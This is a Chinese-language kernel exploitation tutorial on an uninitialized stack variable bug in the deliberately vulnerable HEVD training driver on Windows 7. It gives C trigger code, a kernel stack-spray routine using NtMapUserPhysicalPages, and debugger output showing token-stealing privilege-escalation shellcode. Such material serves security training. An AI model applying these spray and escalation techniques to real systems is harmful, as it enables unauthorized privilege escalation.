Windows Kernel Exploit(六) -> Uninitialized-Stack-Variable
字数 955 2025-08-04 08:17:33
Windows内核漏洞利用:未初始化栈变量漏洞分析与利用
0x00 前言
本文是Windows内核漏洞利用系列的第六部分,重点讲解内核未初始化栈变量漏洞的利用技术。与之前介绍的内核漏洞不同,这种漏洞需要引入"栈喷射"技术,需要对内核栈和用户栈有深入理解。
前置要求:
- Windows 7 x86 sp1虚拟机
- 配置好windbg等调试工具(建议配合VirtualKD使用)
- HEVD+OSR Loader配合构造漏洞环境
0x01 漏洞原理
未初始化栈变量
分析HEVD.sys中的TriggerUninitializedStackVariable函数:
int __stdcall TriggerUninitializedStackVariable(void *UserBuffer) {
int UserValue; // esi
_UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; // [esp+10h] [ebp-10Ch]
CPPEH_RECORD ms_exc; // [esp+104h] [ebp-18h]
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
if ( UserValue == 0xBAD0B0B0 ) {
UninitializedStackVariable.Value = 0xBAD0B0B0;
UninitializedStackVariable.Callback = (void (__stdcall *)())UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
if ( UninitializedStackVariable.Callback )
UninitializedStackVariable.Callback();
return 0;
}
关键点:
- 函数使用
CPPEH_RECORD结构进行异常处理 - 比较传入的
UserBuffer值是否为0xBAD0B0B0 - 如果相等则初始化
UninitializedStackVariable结构 - 最后检查并调用回调函数
漏洞存在于未初始化栈变量的使用:
#ifdef SECURE
// 安全版本:正确初始化为NULL
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
// 漏洞版本:未初始化结构
UNINITIALIZED_MEMORY_STACK UninitializedMemory;
0x02 漏洞利用
控制码分析
在HackSysExtremeVulnerableDriver.h中定义的控制码:
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
计算实际控制码:
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003)
'0x22202f'
基础测试代码
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init() {
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
VOID Trigger_shellcode() {
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
int main() {
if (init() == FALSE) {
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
return 0;
}
栈喷射(Stack Spray)技术
由于程序会调用回调函数,我们需要将回调函数地址指向我们的shellcode。由于代码对回调函数进行了NULL检查,不能直接使用0页内存,因此需要使用栈喷射技术。
栈喷射原理:
- 使用
NtMapUserPhysicalPages函数填充内核栈 - 填充大小为1024*4=4096字节(一页内存)
- 将填充内容设置为shellcode地址
实现代码:
#define COPY_STACK_SIZE 1024
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
for (int i = 0; i < 1024; i++) {
*(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
}
NtMapUserPhysicalPages(NULL, 0x400, StackSpray);
完整利用步骤
- 初始化句柄等结构
- 准备喷射的栈并用shellcode地址填充
- 调用
NtMapUserPhysicalPages进行栈喷射 - 调用
TriggerUninitializedStackVariable函数触发漏洞 - 调用cmd提权
调试验证
在关键点下断点观察:
0: kd> ba e1 8D6A3F86
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x92E2F9C8
[+] UninitializedStackVariable.Value: 0x00931040
[+] UninitializedStackVariable.Callback: 0x00931040
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
查看喷射结果:
2: kd> dd 0x92E2F9C8
92e2f9c8 00931040 00931040 00931040 00931040
92e2f9d8 00931040 00931040 00931040 00931040
...
2: kd> u 00931040
00931040 53 push ebx
00931041 56 push esi
00931042 57 push edi
00931043 60 pushad
00931044 64a124010000 mov eax,dword ptr fs:[00000124h]
0093104a 8b4050 mov eax,dword ptr [eax+50h]
0093104d 8bc8 mov ecx,eax
0093104e ba04000000 mov edx,4
0x03 总结
这种漏洞利用条件较为苛刻,但通过栈喷射技术可以成功利用。关键点包括:
- 理解未初始化栈变量的行为
- 掌握栈喷射技术原理
- 正确构造喷射内容和触发条件
该技术扩展了内核漏洞利用的方法,特别是在有NULL检查限制的情况下,提供了一种有效的绕过方式。